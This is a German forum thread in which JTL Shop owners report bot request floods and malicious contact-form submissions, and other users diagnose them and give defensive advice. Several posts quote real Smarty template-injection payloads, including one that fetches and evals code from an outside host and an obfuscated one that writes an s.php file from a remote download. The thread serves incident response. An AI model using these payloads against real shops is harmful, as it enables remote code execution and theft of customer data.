Neu Hackerangriff auf JTL Shop

[TechNic]

Wir wurden auch angegriffen , aber anders: Uns bombt man zu mit Anfragen zu , Anfragen die so aussehen /?sf%5B%5D=572&sf%5B%5D=1175&sf%5B%5D= , Anragen von MICROSOFT , die 30-50x pro Sekunde kommen !!!!! Wir haben den Hoster jetzt gewechselt und ich habe erstmal eine andere Domain eingesetzt , bisher gehts gut.

Jetzt aber das Problem , ich habe auf der normalen .com jetzt den neusten JTL Shop eingerichtet , die Installation war fertig und ich hatte 35k Besucher im leeren Standardshop . Kann mir jemand sagen wie ich den Beschuss stoppe kann ??? Ich würde gerne wieder auf die Standard Domain wechseln !!!

 

[Condorraptor]

Wir wurden auch angegriffen , aber anders: Uns bombt man zu mit Anfragen zu , Anfragen die so aussehen /?sf%5B%5D=572&sf%5B%5D=1175&sf%5B%5D= , Anragen von MICROSOFT , die 30-50x pro Sekunde kommen !!!!! Wir haben den Hoster jetzt gewechselt und ich habe erstmal eine andere Domain eingesetzt , bisher gehts gut.

Jetzt aber das Problem , ich habe auf der normalen .com jetzt den neusten JTL Shop eingerichtet , die Installation war fertig und ich hatte 35k Besucher im leeren Standardshop . Kann mir jemand sagen wie ich den Beschuss stoppe kann ??? Ich würde gerne wieder auf die Standard Domain wechseln !!!

Könntest über Cloudflare nachdenken

 

[upbox]

Das kann gut helfen, sollte aber sinnvoll eingerichtet sein. Sonst sperrst du dir den Shopabgleich und diverse Zahlungsmodule eventuell gleich mit aus. Es ist also nicht einach nur ein Schalter den du umlegst und dann geht alles automatisch. Da sollte man sich schon ein bisschen damit beschäftigen.

Wenn es aber wirklich nur so Abfragen wie /?sf%5B%5D=572&sf%5B%5D=1175&sf%5B%5D= sind, kannst du den nicht global sperren weil sf auch auf der Suchergebnisseite genutzt wird. Wenn du das sperren willst, solltest du das nur machen wenn der User kein Session Cookie hat.

 

[css-umsetzung]

Ich habe ihm über meinen Bot Schutz einen Filter eingesetzt der diese unsinnigen Abfragen der Bots blockt.
Die Zugriffszahlen normalisieren sich wieder.

 

[TechNic]

Moin ..... konnte gestern Abend erst mals gut schlafen ! Danke css für den tollen Job ! Da kann ich nur sagen ein Servicepartner so wie man Ihn sicht wünscht .... !!!!! Nicht lage reden - machen !!

Nochmals Danke für den tollen Job ! Jetzt wird pö-A-pö der Umzug gemach!

Thx Thomas

 

[arminma]

Moin, ich hatte heute nacht auch einen komischen Kontaktinhalt: Max {capture assign=u}https://oob.kinoavelon.com/v1/eval?d=rockerplates.de&t=boxinject{/capture}{eval var=$u|file_get_contents} , ist das bereits ein Hackerangriff? Mein Shop ist neuer: 5.7.2

 

[webgreat]

Moin, ich hatte heute nacht auch einen komischen Kontaktinhalt: Max {capture assign=u}https://oob.kinoavelon.com/v1/eval?d=rockerplates.de&t=boxinject{/capture}{eval var=$u|file_get_contents} , ist das bereits ein Hackerangriff? Mein Shop ist neuer: 5.7.2

Das sind XSS Aufrufe. Wenn die Lücke geschlossen ist, kann nichts passieren. Wenn. Das vorher schon kam, wirst du vermutlich eine Box im Backend finden die du nicht angelegt hast. Darin dann Schadhaftes JS. Gerne werden Zahlungen versucht umzuleiten im Checkout.

 

[Micmac]

Moin, ich hatte heute nacht auch einen komischen Kontaktinhalt: Max {capture assign=u}https://oob.kinoavelon.com/v1/eval?d=rockerplates.de&t=boxinject{/capture}{eval var=$u|file_get_contents} , ist das bereits ein Hackerangriff? Mein Shop ist neuer: 5.7.2

Wir hatten die selbe "Anfrage" über das Kontaktformular. Zur Sicherheit haben wir erstmal das Formular abgeschaltet und Leute, die sich damit auskennen, schauen sich das an.

Eine ähnliche Anfrag vom 28.06. hatten wir auch noch:

John {{file_put_contents(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[115,46,112,104,112])),file_get_contents(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[104,116,116,112,58,47,47,49,52,57,46,GEKÜRZT

 

[webgreat]

Wir hatten die selbe "Anfrage" über das Kontaktformular. Zur Sicherheit haben wir erstmal das Formular abgeschaltet und Leute, die sich damit auskennen, schauen sich das an.

Eine ähnliche Anfrag vom 28.06. hatten wir auch noch:

Die Angriffe senden eigentlich erst eine Sonde. Wenn die positiv ist, kommen solche Anfragen wie du hast. Du solltest das untersuchen lassen. Für mich sieht das nach einen erfolgreichen XSS aus.

 

[webgreat]

Die Angriffe senden eigentlich erst eine Sonde. Wenn die positiv ist, kommen solche Anfragen wie du hast. Du solltest das untersuchen lassen. Für mich sieht das nach einen erfolgreichen XSS aus.

Ich habe eben noch mal bei den andern Vorfällen geschaut. Ich würde sagen du bist infiziert. da wurde eine s.php Datei angelegt, die vermutlich schon wieder gelöscht wurde. Lass mal in den Logs nach der Datei suchen. Dann würde ich den Host vom Netz nehmen.

 

[Micmac]

Danke für die schnellen Antworten.
Der Hoster hat reagiert. Es scheint aber noch nichts abgeflossen zu sein,

"Eine Smarty Template Injection — SSTI im Smarty-Template-Engine
des JTL-Shops."

Die Mail ist kein einfacher Phishing-Versuch, sondern ein gezielter SSTI-Exploit (Server-
Side Template Injection) gegen den JTL-Shop. Der Angreifer nutzt die Smarty-
Template-Engine des Shops, um direkt vom Kontaktformular aus PHP-Code
auszuführen — ohne Admin-Zugang, ohne Upload-Schwachstelle, ohne
Authentifizierung.
Die vollständige Angriffskette ist rekonstruiert:
Code
Kontaktformular → SSTI → s.php → Datenharvesting → site.php → Vollzugriff
Der Einstiegspunkt war nicht s.php selbst — s.php wurde erst durch die SSTI in dieser
Mail erzeugt.

Ist es wirklich so einfach mit einer Zeile Code im Kontaktformular einzubrechen?

 

[webgreat]

Danke für die schnellen Antworten.
Der Hoster hat reagiert. Es scheint aber noch nichts abgeflossen zu sein,

"Eine Smarty Template Injection — SSTI im Smarty-Template-Engine
des JTL-Shops."

Die Mail ist kein einfacher Phishing-Versuch, sondern ein gezielter SSTI-Exploit (Server-
Side Template Injection) gegen den JTL-Shop. Der Angreifer nutzt die Smarty-
Template-Engine des Shops, um direkt vom Kontaktformular aus PHP-Code
auszuführen — ohne Admin-Zugang, ohne Upload-Schwachstelle, ohne
Authentifizierung.
Die vollständige Angriffskette ist rekonstruiert:
Code
Kontaktformular → SSTI → s.php → Datenharvesting → site.php → Vollzugriff
Der Einstiegspunkt war nicht s.php selbst — s.php wurde erst durch die SSTI in dieser
Mail erzeugt.

Das nichts abgeflossen ist kann man so schnell i.d.R. nicht sagen. Kommt auf den Server an. Meist ist das SQL Loggin nicht aktiv. Wenn die per Curl die DB wo anders hin schicken, sieht man in den Logs nichts.

 

[webgreat]

Das nichts abgeflossen ist kann man so schnell i.d.R. nicht sagen. Kommt auf den Server an. Meist ist das SQL Loggin nicht aktiv. Wenn die per Curl die DB wo anders hin schicken, sieht man in den Logs nichts.

Gerne werden auch SSH Keys ausgelesen oder auch neue Keys angelegt. Das sollte man in der Analyse beachten und SSH Port dicht machen oder auf eine IP beschränken.

 

[arminma]

Ich habe ihm über meinen Bot Schutz einen Filter eingesetzt der diese unsinnigen Abfragen der Bots blockt.
Die Zugriffszahlen normalisieren sich wieder.

Kannst Du uns kurz über den Shop drüberschauen? wir hatten gestern das erste und einzige mal solch eine Anfrage....? wie kontaktiere ich dich?

 

[arminma]

Wir hatten die selbe "Anfrage" über das Kontaktformular. Zur Sicherheit haben wir erstmal das Formular abgeschaltet und Leute, die sich damit auskennen, schauen sich das an.

Eine ähnliche Anfrag vom 28.06. hatten wir auch noch:

ok, das war die erste und einzige Anfrage.....

 

[arminma]

Kurzes Update....das econ plugin findet keinerlei Schäden, auch die Zahlarten funktionieren und es sind keine neuen angelegt......wir hatten heute nachmittag noch normale orders...kann, um auf nummer sicher zu gehen econ helfen?